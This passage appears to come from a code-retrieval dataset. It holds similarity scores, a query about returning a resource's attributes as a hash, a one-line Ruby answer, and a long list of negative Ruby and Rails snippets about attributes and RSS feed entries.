"0.6723495",
"0.6719015",
"0.6719015",
"0.6682719",
"0.66682386",
"0.6666505",
"0.6655351",
"0.66473305",
"0.6645446",
"0.66447574",
"0.66436327",
"0.662855",
"0.6606983",
"0.6605596",
"0.6594687",
"0.65890646",
"0.658269",
"0.6574546",
"0.6571747",
"0.656251",
"0.65455055",
"0.6543879",
"0.6530227",
"0.6518701",
"0.65161717",
"0.65155447",
"0.6511585",
"0.6476624",
"0.6476624",
"0.6476624",
"0.64589477",
"0.6428634",
"0.642003",
"0.64172286",
"0.640421",
"0.64035994",
"0.63926625",
"0.6391363",
"0.6391363",
"0.6386294"
] |
0.0
|
-1
|
Provides the resource as a hash of all it's readable attributes
|
def to_h
@object
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def resource_attributes\n resource_class.attribute_names\n end",
"def resource_attributes\n @resource_attributes ||= Marshal.load(Marshal.dump(self.class.resource_attributes))\n end",
"def resource_attributes\n %w(\n auth_users\n comment\n dont_compress\n exclude\n exclude_from\n fake_super\n gid\n hosts_allow\n hosts_deny\n include\n include_from\n list\n lock_file\n log_file\n log_format\n max_connections\n munge_symlinks\n numeric_ids\n path\n read_only\n refuse_options\n secrets_file\n strict_modes\n timeout\n transfer_logging\n uid\n use_chroot\n write_only\n )\n end",
"def hash\n @attrs\n end",
"def resource_attributes\n %w(\n auth_users\n comment\n dont_compress\n exclude\n exclude_from\n fake_super\n gid\n hosts_allow\n hosts_deny\n include\n include_from\n incoming_chmod\n list\n lock_file\n log_file\n log_format\n max_connections\n munge_symlinks\n numeric_ids\n outgoing_chmod\n path\n postxfer_exec\n prexfer_exec\n read_only\n refuse_options\n secrets_file\n strict_modes\n timeout\n transfer_logging\n uid\n use_chroot\n write_only\n )\nend",
"def resource_attributes\n self.class.attributes.names - [:options]\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def resource_human_attributes\n human_attributes = resource_attributes - resource_non_human_attributes\n\n # If resource has a belongs_to relationship, remove reference attribute\n if respond_to?('parent?')\n parent_attribute = \"#{parent.class.name.underscore}_id\"\n human_attributes = human_attributes - [parent_attribute]\n end\n\n human_attributes\n end",
"def resource_non_human_attributes\n %w(id created_at updated_at)\n end",
"def resource_properties\n props = {}\n props['Path'] = @resource.path\n\n build_path = @resource.destination_path\n build_path = 'Not built' if ignored?\n props['Build Path'] = build_path if @resource.path != build_path\n props['URL'] = content_tag(:a, @resource.url, href: @resource.url) unless ignored?\n props['Source File'] = @resource.file_descriptor ? @resource.file_descriptor[:full_path].to_s.sub(/^#{Regexp.escape(ENV['MM_ROOT'] + '/')}/, '') : 'Dynamic'\n\n data = @resource.data\n props['Data'] = data.to_hash(symbolize_keys: true).inspect unless data.empty?\n\n options = @resource.options\n props['Options'] = options.inspect unless options.empty?\n\n locals = @resource.locals.keys\n props['Locals'] = locals.join(', ') unless locals.empty?\n\n props\n end",
"def resource_properties\n {\n 'Path' => @resource.path,\n 'Output Path' => File.join(@resource.app.build_dir, @resource.destination_path),\n 'Url' => content_tag(:a, @resource.url, :href => @resource.url),\n #'Metadata' => @resource.metadata,\n 'Source' => @resource.source_file\n }\n end",
"def attributes_hash\n self.info.to_hash.symbolize_keys\n end",
"def resource_attributes(resource)\n atts = {:name => resource_name(resource)}\n resource.xpath('do_block/descendant::command[count(ancestor::do_block) = 1]').each do |att|\n if att.xpath('descendant::symbol').empty?\n att_value = att.xpath('string(descendant::tstring_content/@value)')\n else\n att_value = att.xpath('string(descendant::symbol/ident/@value)').to_sym\n end\n atts[att.xpath('string(ident/@value)')] = att_value\n end\n atts\n end",
"def resource_attributes(resource)\n atts = {:name => resource_name(resource)}\n resource.xpath('do_block/descendant::command[count(ancestor::do_block) = 1]').each do |att|\n if att.xpath('descendant::symbol').empty?\n att_value = att.xpath('string(descendant::tstring_content/@value)')\n else\n att_value = att.xpath('string(descendant::symbol/ident/@value)').to_sym\n end\n atts[att.xpath('string(ident/@value)')] = att_value\n end\n atts\n end",
"def readable_attributes resource = nil\n accessible_attributes(resource).delete_if { |attribute| attribute =~ /(_attributes)|(_id)|(_ids)$/ }\n end",
"def to_hash\n { uid: @uid, address: resource_address() }\n end",
"def attributes_hash(object); end",
"def state_attrs\n @resource.class.state_attrs.map(&:to_sym)\n end",
"def attributes\n self._attributes.inject({}) do |hash, attr|\n hash[attr.to_s] = send(attr)\n hash\n end\n end",
"def to_hash\n attributes\n end",
"def properties\n resource_attributes.keys - [:new_record]\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def resource_attributes(resource)\n atts = {}\n name = resource_name(resource)\n atts[:name] = name unless name.empty?\n resource.xpath('do_block/descendant::command\n [count(ancestor::do_block) = 1]').each do |att|\n att_value =\n if ! att.xpath('args_add_block[count(descendant::args_add)>1]').empty?\n att.xpath('args_add_block').first\n elsif ! att.xpath('args_add_block/args_add/\n var_ref/kw[@value=\"true\" or @value=\"false\"]').empty?\n att.xpath('string(args_add_block/args_add/\n var_ref/kw/@value)') == 'true'\n elsif att.xpath('descendant::symbol').empty?\n att.xpath('string(descendant::tstring_content/@value)')\n else\n att.xpath('string(descendant::symbol/ident/@value)').to_sym\n end\n atts[att.xpath('string(ident/@value)')] = att_value\n end\n resource.xpath(\"do_block/descendant::method_add_block[\n count(ancestor::do_block) = 1][brace_block | do_block]\").each do |batt|\n att_name = batt.xpath('string(method_add_arg/fcall/ident/@value)')\n if att_name and ! att_name.empty? and batt.children.length > 1\n atts[att_name] = batt.children[1]\n end\n end\n atts\n end",
"def attributes\n @attributes ||= {}\n @attributes\n end",
"def base_attributes\n kind.attributes\n end",
"def attributes_get\n h = {}\n self.class.attributes.each do |a|\n h[a] = attribute_get(a)\n end\n h\n end",
"def attributes_get\n h = {}\n self.class.attributes.each do |a|\n h[a] = attribute_get(a)\n end\n h\n end",
"def serializable_attributes\n IDME_SERIALIZABLE_ATTRIBUTES + REQUIRED_ATTRIBUTES\n end",
"def attributes\n full_attributes.to_hash(self)\n end",
"def attributes\n properties.map do |p|\n [p.name, send(p.getter)] if p.reader_visibility == :public\n end.compact.to_hash\n end",
"def attributes\n self.class::ATTRIBUTES\n end",
"def resource_attributes_from_interview(interview)\n {\n prefix: resource_set.prefix,\n identifier: interview['dc_identifier'],\n title: interview['label'],\n available: interview['url'],\n citation: interview['url'],\n date: interview['ds_created'],\n description: interview[\"sm_field_beard_description\"][0],\n type: interview['collection_type'].capitalize,\n format: Format\n }\n end",
"def attributes\n @attrs.keys\n end",
"def attributes\n data[:attributes]\n end",
"def attributes\n hash = super\n if serialization_options[:include_users] == true\n hash[:users] = self.users\n end\n if serialization_options[:include_scope] == true\n hash[:scope] = self.scope\n end\n return hash\n end",
"def attributes\n attribute_hash.merge(\"id\" => id,\n internal_resource: internal_resource,\n created_at: created_at,\n updated_at: updated_at,\n Valkyrie::Persistence::Attributes::OPTIMISTIC_LOCK => token)\n end",
"def to_hash\n ret = {}\n \n self.methods.each do |method|\n name = method.id2name.gsub('=', '')\n val = self.method(name).call if method.id2name[-1] == '=' and self.respond_to?(name) \n ret[\"#{name}\"] = val unless val.nil? or ['!', 'others', 'resources'].include?(name)\n end\n \n ret[\"resources\"] = self.resources.collect { |resource| resource.to_hash }\n \n ret\n end",
"def to_h\n attrl = self\n hash = {}\n until attrl.to_ptr.null?\n n = attrl[:name].read_string\n v = attrl[:value].read_string\n r = attrl[:resource].null? ? nil : attrl[:resource].read_string\n r ? (hash[n.to_sym] ||= {} and hash[n.to_sym][r.to_sym] = v) : hash[n.to_sym] = v\n attrl = attrl[:next]\n end\n hash\n end",
"def resource2hash(resources)\n JSON.parse resources.to_h.to_json\n end",
"def my_fingerprint\n new_resource.unique_fields.map do |f|\n if !new_resource.properties[f].nil?\n new_resource.properties[f]\n else\n current_resource.default_properties[f]\n end\n end\n end",
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def attributes\n (@original_attributes||{}).merge(@attributes).keys.inject({}) do |hash, key|\n hash[key] = read_attribute(key)\n hash\n end\n end",
"def resource_attributes\n request.format.html? ? params[user_resource_class.to_s.downcase] : params\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n hash = {\n \"author\" => @author,\n \"title\" => @title,\n \"summary\" => @summary,\n \"images\" => @images,\n \"source\" => @source,\n \"date\" => @date\n }\n end",
"def rdn_attributes\n\t\treturn make_rdn_hash( self.rdn )\n\tend",
"def to_hash\n {\n repository: repository,\n resource_hash: resource_hash, # location of cookbook manifest in S3\n metadata: ::JSON.dump(metadata), # pass as opaque JSON blob\n pos: pos\n }\n end",
"def model_attributes\n resource_class.attribute_names.map(&:to_sym) - [:created_at, :updated_at]\n end",
"def hash\n [active, additional_properties, author, authored, banned, category, comments, contributors, created_date, embed, extension, height, id, length, location, long_description, mime_type, name, priority, privacy, published, short_description, size, tags, template, thumbnail, updated_date, uploader, views, width].hash\n end",
"def to_hash\n @attributes\n end",
"def attributes\n @attributes ||= @internal_struct[:attributes] || {}\n end",
"def to_hash\n @attributes\n end",
"def attributes_hash\n fail 'sub class to implement'\n end",
"def attributes\n ATTRIBUTES\n end",
"def serializable_hash\n self.attributes\n end",
"def attributes\n @_attributes\n end",
"def attributes(version = @version)\r\n attributes = self.class.attributes(version)\r\n\r\n attributes[:actions].try(:each) do |key, value|\r\n unless private?(key, version)\r\n attributes[:actions][key] = instance_eval &value\r\n end\r\n end\r\n\r\n attributes.each { |key, value|\r\n result = :__false__ if key.to_s =~ /(?:^|_)href$/ && resource.new_record?\r\n result ||= map_get(value, key)\r\n\r\n if result == :__false__ || private?(key, version)\r\n attributes.delete(key)\r\n else\r\n begin\r\n if result.is_a? ActiveRecord::Base\r\n result = \"Restful::#{result.class.name}\".constantize.new result,\r\n version, format, :root => key\r\n elsif result.respond_to? :scoped\r\n result = result.scoped({}).to_collection\r\n end\r\n rescue NameError => e\r\n nil\r\n end\r\n\r\n attributes[key] = result\r\n end\r\n }\r\n\r\n @loaded.each { |key, value| attributes[key] &&= value }\r\n attributes\r\n end",
"def attributes\n # Note: the values returned here are ignored by\n # ActiveModel::Serializers#serializable_hash; just the keys are\n # used to again call those getter methods... But we do want to\n # check the values so we can leave 'nil' out of the hash.\n attribute_keys.inject(\n ActiveSupport::HashWithIndifferentAccess.new) do |result, key|\n value = send(key)\n result[key] = value unless value == nil\n result\n end\n end",
"def attributes_hash\n attributes_hash = section.attributes.to_hash\n attributes_hash.each { |k, attr| attributes_hash[k] = attr.value }\n end",
"def attributes\n _fast_attributes\n rescue NameError\n method = \"def _fast_attributes\\n\"\n\n method << \" h = {}\\n\"\n\n _attributes.each do |name,key|\n method << \" h[:\\\"#{key}\\\"] = read_attribute_for_serialization(:\\\"#{name}\\\") if include?(:\\\"#{name}\\\")\\n\"\n end\n method << \" h\\nend\"\n\n self.class.class_eval method\n _fast_attributes\n end",
"def to_h\n @attributes\n end",
"def inspect_attributes\n %i[uuid name type slug status email]\n end",
"def attributes\n self.attribute_keys.inject({}) do |hash, key|\n hash[key] = self.__send__(key) if self.__send__(key)\n hash\n end\n end",
"def attr_strings\n @attr_strings\n end",
"def serialized_attributes\n read_inheritable_attribute(\"attr_serialized\") || { }\n end",
"def get_attributes\n\t\t\t@@attributes\n\t\tend",
"def serializable_attributes\n attributes = %w[id name created_at]\n attributes << \"uid\" unless confidential?\n attributes\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def to_hash\n @attributes\n end",
"def attributes\n @_attributes\n end",
"def attr_info; end",
"def readable_attributes \n return attributes if permitted_to?(ReadAllPrivilege)\n attributes.reject do |k,v|\n !allowed?(:read, k)\n end\n end",
"def hash\n [name, type, sub_attributes, multi_valued, description, required, canonical_values, case_exact, mutability, returned, uniqueness, reference_types].hash\n end",
"def attributes\n @attributes ||= @internal_struct[:attributes]\n end",
"def attributes\n @_attributes ||= Hash.new.with_indifferent_access\n end",
"def attributes\n @cache[:attributes]\n end",
"def attributes\n ATTRIBUTES.inject({}) do |hash, attribute|\n hash[attribute] = self.send(attribute)\n hash\n end\n end",
"def attributes\n ATTRIBUTES.inject({}) do |hash, attribute|\n hash[attribute] = self.send(attribute)\n hash\n end\n end",
"def attributes\n @attrs\n end",
"def inspect\n \"#<Friendable::Friendship with: #{@target_resource.class}(id: #{@target_resource.id}), \" <<\n \"attributes: \" <<\n @attributes.to_a.map{|ary| ary.join(\": \") }.join(\", \") << \">\"\n end",
"def formated_api\n {\n id: self.id,\n name: self.name,\n icon: self.icon,\n }\n end",
"def attributes\n self.class.config.full_config.map { |attribute| [attribute, send(attribute)] }.to_h\n end",
"def serialize\n hash = {}\n self.class::ATTRIBUTES.keys.each do |attr|\n spec = self.class::ATTRIBUTES[attr].to_h\n type = spec[:type]\n value = send(attr)\n\n if value.nil?\n hash[attr] = nil\n elsif type == TYPE_OBJECT\n hash[attr] = value.serialize\n elsif type == TYPE_OBJECT_ARRAY\n hash[attr] = value.map{ |e| e.serialize }\n else\n hash[attr] = value\n end\n end\n\n return hash\n end",
"def resource_operations\n attributes.fetch(:resourceOperations)\n end",
"def attributes\n hash = HashWithIndifferentAccess.new\n\n self.class.attribute_names.each_with_object(hash) do |name, attrs|\n attrs[name] = read_attribute(name)\n end\n end",
"def hash\n [_self, _links, _schema, _revision, _system_owned, display_name, description, tags, _create_user, _protection, _create_time, _last_modified_time, _last_modified_user, id, resource_type, path, parent_path, unique_id, relative_path, children, overridden, marked_for_delete, tcp_closed, tcp_opening, udp_single, tcp_finwait, tcp_first_packet, tcp_closing, tcp_established, udp_multiple, icmp_error_reply, udp_first_packet, icmp_first_packet].hash\n end",
"def attributes # :nodoc:\n @attributes ||= {}\n end",
"def attributes\n ATTRIBUTE_NAMES\n end",
"def attributes\n @attributes\n end",
"def attributes\n @attributes\n end",
"def attributes\n @attributes\n end",
"def awesome_active_resource_instance(object)\n \"#{object} \" << awesome_hash(object.attributes)\n end",
"def attributes\n ATTRIBUTES.each_with_object({}) do |name, buffer|\n buffer[name] = public_send(name)\n end\n end"
] |
[
"0.7515443",
"0.74780005",
"0.7380335",
"0.71874815",
"0.7178696",
"0.70274407",
"0.69656104",
"0.69656104",
"0.69656104",
"0.690871",
"0.68827474",
"0.68781734",
"0.6804732",
"0.6794832",
"0.67628634",
"0.67628634",
"0.6748658",
"0.6733451",
"0.66991216",
"0.6682305",
"0.66233915",
"0.66116464",
"0.659345",
"0.65274173",
"0.65212816",
"0.6511684",
"0.6495639",
"0.6477784",
"0.6477784",
"0.6473207",
"0.645888",
"0.6410757",
"0.64090604",
"0.63982713",
"0.6395074",
"0.6381481",
"0.6370617",
"0.6366327",
"0.6362623",
"0.6359637",
"0.63462466",
"0.63392144",
"0.63144344",
"0.6299063",
"0.6296393",
"0.62785286",
"0.62785286",
"0.62785286",
"0.6265579",
"0.6262501",
"0.62573636",
"0.6252142",
"0.6243037",
"0.62414676",
"0.6236906",
"0.6235828",
"0.62353665",
"0.62280643",
"0.62103504",
"0.62101835",
"0.6205051",
"0.6187369",
"0.6180754",
"0.6179874",
"0.6178112",
"0.6177648",
"0.61769783",
"0.6174811",
"0.61747384",
"0.6171909",
"0.6157139",
"0.6148845",
"0.6148845",
"0.6148845",
"0.6148845",
"0.6148845",
"0.6148331",
"0.61476314",
"0.61433965",
"0.6141169",
"0.6125454",
"0.61243993",
"0.61178964",
"0.6116541",
"0.6115403",
"0.6115403",
"0.6092129",
"0.6090906",
"0.6082315",
"0.6081066",
"0.60789883",
"0.60782105",
"0.60759497",
"0.60757273",
"0.60734886",
"0.60668033",
"0.60603213",
"0.60603213",
"0.60603213",
"0.60560465",
"0.6049388"
] |
0.0
|
-1
|
GET /feed_entries GET /feed_entries.xml
|
def index
@project = Project.find(params[:project_id])
#depending if I am showing all entries or only the persons entries.
@count = 0
if params[:person_id] == nil
@show_all = true
@feed_entries = []
@grouped_entries = []
@grouped_by_hashtags = {}
@grouped_by_replies = {}
@grouped_urls = {}
@feed_entries_count = @project.feed_entries_count
@feed_entries = @project.feed_entries(1000).paginate :page => params[:page]
#Get a distribution of collected tweets per person.
@feed_entries_pp = {}
@project.persons.each do |person|
key = (FeedEntry.count(:conditions => "person_id = #{person.id}") / 100).to_i*100
begin
@feed_entries_pp[key] += 1
rescue
@feed_entries_pp[key] = 1
end
end
@feed_entries_pp = @feed_entries_pp.sort{|a,b| a <=> b}
@retweets_distr = {}
@project.persons.each do |person|
person.feed_entries.each do |f|
key = f.retweet_count.to_i
if key > 0
begin
@retweets_distr[key] += 1
rescue
@retweets_distr[key] = 1
end
end
end
end
@retweets_distr = @retweets_distr.sort{|a,b| a <=> b}
else
@person = Person.find(params[:person_id])
@feed_entries_count = @person.feed_entries.count
@feed_entries = @person.feed_entries.paginate :page => params[:page], :order => 'updated_at DESC'
end
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @feed_entries }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n #body, ok = SuperfeedrEngine::Engine.retrieve(Feed.first) \n @entries = Entry.all\n end",
"def rss_entries(url)\n\t\tresponse = fetch(url)\n\t\tresponse[\"feed\"][\"entry\"]\n\tend",
"def index\n @feed_entries = FeedEntry.all\n @title = \"Feeds List\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feed_entries }\n end\n end",
"def index\n @feed_entries = FeedEntry.all\n end",
"def show\n @feed = Feed.find(params[:id])\n @entries = EntryFeed.where(:feed_id => @feed.id)\n\n if @entries.blank?\n EntryFeed.create_from_feed(@feed)\n @entries = EntryFeed.where(:feed_id => @feed.id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @feed }\n end\n end",
"def entries\n nodes = @doc.xpath(\"atom:feed/atom:entry\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomFeedEntry.new(node) }\n end",
"def show\n @feed = Feed.find(params[:id])\n @related_feeds = @feed.list_related_feeds(current_user)\n @feed_entries = Entry.where(feed_id: @feed.id).order(\"updated_at DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @entries = Entry.all;\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @feeds = Feed.all\n\n # fetching a single feed\n #@feed = Feedzirra::Feed.fetch_and_parse(\"http://feeds.feedburner.com/PaulDixExplainsNothing\")\n\n # @entries = @feed.entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @feeds }\n end\n end",
"def entries\n Entry.where(:feed_id => pk)\n end",
"def show\n @feed_entry = FeedEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed_entry }\n end\n end",
"def index\n @entries = Entry.order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def feed\r\n @posts = Post.all(:order => \"created_at DESC\")\r\n respond_to do |format|\r\n format.rss\r\n end\r\n end",
"def index_rest\n @entry_items = EntryItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entry_items }\n end\n end",
"def show\n @feed = Feed.find(params[:feed_id])\n @entry = Entry.find(params[:id])\n respond_to do |format|\n format.html { render :layout => 'feed'}\n format.json { render json: @entry }\n end\n end",
"def index\n @feeds = Feed.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @feeds.to_xml }\n end\n end",
"def xml_feed_entries(feed_url, locale, offset)\r\n p \"Feed #{feed_url}\"\r\n doc = Nokogiri::XML(open(feed_url))\r\n doc.xpath(\"//item\").count.times do |n|\r\n \r\n # process dates\r\n sdt = DateTime.parse(doc.xpath(\"//item//xCal:dtstart\")[n].text) rescue nil\r\n edt = doc.xpath(\"//item//xCal:dtend\")[n].text\r\n edt.blank? ? enddt = sdt.advance(:hours => 2) : enddt = DateTime.parse(edt)\r\n \r\n # get event title and url\r\n etitle = doc.xpath(\"//item//title\")[n].text.split(' at ')[0]\r\n url = doc.xpath(\"//item//link\")[n].text \r\n sid = doc.xpath(\"//item//id\")[n].text \r\n\r\n # get county based on coordinates\r\n lat = doc.xpath(\"//item//geo:lat\")[n].text\r\n lng = doc.xpath(\"//item//geo:long\")[n].text\r\n county = Schedule.chk_geocode(lat, lng) rescue nil\r\n \r\n # add only current events \r\n if sdt >= Date.today\r\n \r\n # find correct channel and location\r\n cid = LocalChannel.select_channel(etitle, county, locale).flatten 1\r\n# cid.map {|channel| p \"Channel: #{channel.channelID}\" }\r\n\r\n # add event to calendar\r\n cid.map {|channel| add_event(doc, n, sid, etitle[0..199], sdt, enddt, channel.channelID, url, offset)} if cid\r\n# add_event(doc, n, sid, etitle[0..199], sdt, enddt, cid[0].channelID, url, offset) if cid\r\n end\r\n end \r\n end",
"def feed_entries(feed, include_read: false, page: nil)\n EntriesPagination.feed_entries feed, self, include_read: include_read, page: page\n end",
"def show\r\n @feed = Feed.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @rss_entry }\r\n end\r\n end",
"def entries\n if @entries.nil?\n raw_entries = FeedTools::XmlHelper.select_not_blank([\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"atom10:entry\",\n \"atom03:entry\",\n \"atom:entry\",\n \"entry\"\n ]),\n FeedTools::XmlHelper.try_xpaths_all(self.root_node, [\n \"rss10:item\",\n \"rss11:items/rss11:item\",\n \"rss11:items/item\",\n \"items/rss11:item\",\n \"items/item\",\n \"item\",\n \"atom10:entry\",\n \"atom03:entry\",\n \"atom:entry\",\n \"entry\",\n \"story\"\n ]),\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"rss10:item\",\n \"rss11:items/rss11:item\",\n \"rss11:items/item\",\n \"items/rss11:item\",\n \"items/item\",\n \"item\",\n \"story\"\n ])\n ])\n\n # create the individual feed items\n @entries = []\n unless raw_entries.blank?\n for entry_node in raw_entries.reverse\n new_entry = FeedItem.new\n new_entry.feed_data = entry_node.to_s\n new_entry.feed_data_type = self.feed_data_type\n new_entry.root_node = entry_node\n if new_entry.root_node.namespace.blank?\n new_entry.root_node.add_namespace(self.root_node.namespace)\n end\n @entries << new_entry\n end\n end\n end\n \n # Sort the items\n if self.configurations[:entry_sorting_property] == \"time\"\n @entries = @entries.sort do |a, b|\n (b.time or Time.utc(1970)) <=> (a.time or Time.utc(1970))\n end\n elsif self.configurations[:entry_sorting_property] != nil\n sorting_property = self.configurations[:entry_sorting_property]\n @entries = @entries.sort do |a, b|\n eval(\"a.#{sorting_property}\") <=> eval(\"b.#{sorting_property}\")\n end\n else\n return @entries.reverse\n end\n return @entries\n end",
"def feed\n @articles = Article.feed_list(current_user, params[:page])\n end",
"def feed\n @feed_items = @repository.recent_feed_items\n respond_to do |format|\n format.html # feed.html.erb\n format.json { render json: @feed_items }\n end\n end",
"def retrieve_feed\n uri = URI.parse(@feed_url)\n Net::HTTP.get_response(uri).body\n end",
"def fetch_urls_from_feedly\n yaml = YAML.load_file('env.yaml')\n client = Feedlr::Client.new(oauth_access_token: yaml['account']['feedly']['access_token'])\n client.user_subscriptions.map{|m|\n # puts m.id\n hotentries = client.stream_entries_contents(m.id, :count => 5 ).items\n return hotentries\n };\nend",
"def friend_feed(options={})\n get('/feed', options)\n end",
"def feed\n get '/users/self/feed', auth_params\n end",
"def index\n @entries = @resource_finder.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def new\n @feed = Feed.find(params[:feed_id])\n @entry = @feed.entries.new\n respond_to do |format|\n format.html { render :layout => 'feed'}\n format.json { render json: @entry }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"def entries\n uri = URI(BASE_URL + ENTRIES_ENDPOINT + days_query)\n\n make_request(uri)\n end",
"def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @feed.to_xml }\n end\n end",
"def show\n @feed_entry = FeedEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed_entry }\n end\n end",
"def index\n @entries = Entry.find_all_by_time(params[:date], :order => :created_at)\n @entry ||= Entry.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def feed\n @data.feed ||= parsed_document.xpath(\"//link\").select{ |link|\n link.attributes[\"type\"] && link.attributes[\"type\"].value =~ /(atom|rss)/\n }.map { |link|\n absolutify_url(link.attributes[\"href\"].value)\n }.first rescue nil\n end",
"def index\n @posts = Post.limit 50\n @title = \"Weblog - last posts\"\n @updated = @posts.first.created_at unless @posts.empty?\n respond_to do |format|\n format.rss do\n redirect_to feeds_path(format: :atom),\n status: :moved_permanently\n end\n format.atom\n end\n end",
"def show\n @feed = Feed.find(params[:id]) rescue Feed.find_by_uri(params[:id])\n if @feed.is_duplicate? and @feed.duplicate\n redirect_to feed_url(@feed.duplicate)\n else\n respond_to do |wants|\n wants.html do\n render :action => 'show'\n end\n wants.atom do\n render :xml => @feed.to_atom(:base => \"http://#{request.host}:#{request.port}\", :include_entries => true, :page => params[:page]) \n end\n wants.xml { render :xml => @feed.to_xml }\n end\n end\n end",
"def index\n @feed_urls = current_account.feed_urls.paginate(page: params[:page]).order(id: :desc)\n end",
"def feed\n @posts = Post.feed_of(params[:id])\n end",
"def index\n @entries = list_entries\n respond_with @entries\n end",
"def show\n @series = Series.find(params[:id])\n @feeds = Feed.where(series_id: params[:id])\n @feeds.each do |feed|\n @entries = Entry.where(feed_id: feed.id).order(:created_at).page params[:page]\n end\n \n end",
"def show\n @feedentry = Feedentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedentry }\n end\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def feed\n\t\t\tpost = { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml = nessus_request('feed', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tfeed = docxml.root.elements['contents'].elements['feed'].text\n\t\t\tversion = docxml.root.elements['contents'].elements['server_version'].text\n\t\t\tweb_version = docxml.root.elements['contents'].elements['web_server_version'].text\n\t\t\treturn feed, version, web_version\n\t\tend",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def show\n @twitterfeed = Twitterfeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @twitterfeed }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n @places = @places.page params[:page]\n\n @feed_link = places_url(:format => :atom)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @places }\n format.atom { render :layout => false }\n end\n end",
"def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend",
"def show\n\n update_feed(@feed)\n\n @items = @feed.items.order('pub_date DESC').page params[:page]\n\n end",
"def feed\r\n # check for valid access key:\r\n user = User.find_by_rss_access_key(params[:access_key])\r\n @authorized = !user.blank?\r\n\r\n # get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # set appriopriate instance variables,\r\n # so the feed can be created in folder.rxml\r\n if @authorized and not @folder.blank?\r\n if @folder.is_root or user.can_read(@folder.id)\r\n @folders = @folder.list_subfolders(user, 'name')\r\n @myfiles = @folder.list_files(user, 'filename')\r\n else\r\n @authorized = false\r\n end\r\n end\r\n\r\n # finally, set correct header\r\n if @authorized\r\n headers['Content-Type'] = 'text/xml'\r\n else\r\n headers['Content-Type'] = 'text/html'\r\n end\r\n end",
"def show\n @datafeed = Datafeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @datafeed }\n end\n end",
"def fetch!\n parsed_feed = FeedNormalizer::FeedNormalizer.parse open(self.feed_url)\n \n self.update_attributes( :title => parsed_feed.title,\n :url => parsed_feed.url\n #:etag => parsed_feed.etag\n #:last_modified => parsed_feed.last_modified\n )\n \n parsed_feed.entries.each do |entry|\n self.entries.create(:url => entry.url,\n :title => entry.title,\n :author => entry.author,\n #:summary => entry.summary,\n :content => entry.content\n #:published => entry.published\n #:categories => entry.categories\n ) if !Entry.find_by_url(entry.url)\n end\n end",
"def get_entries\n @page.all(input_elements[:entries])\n end",
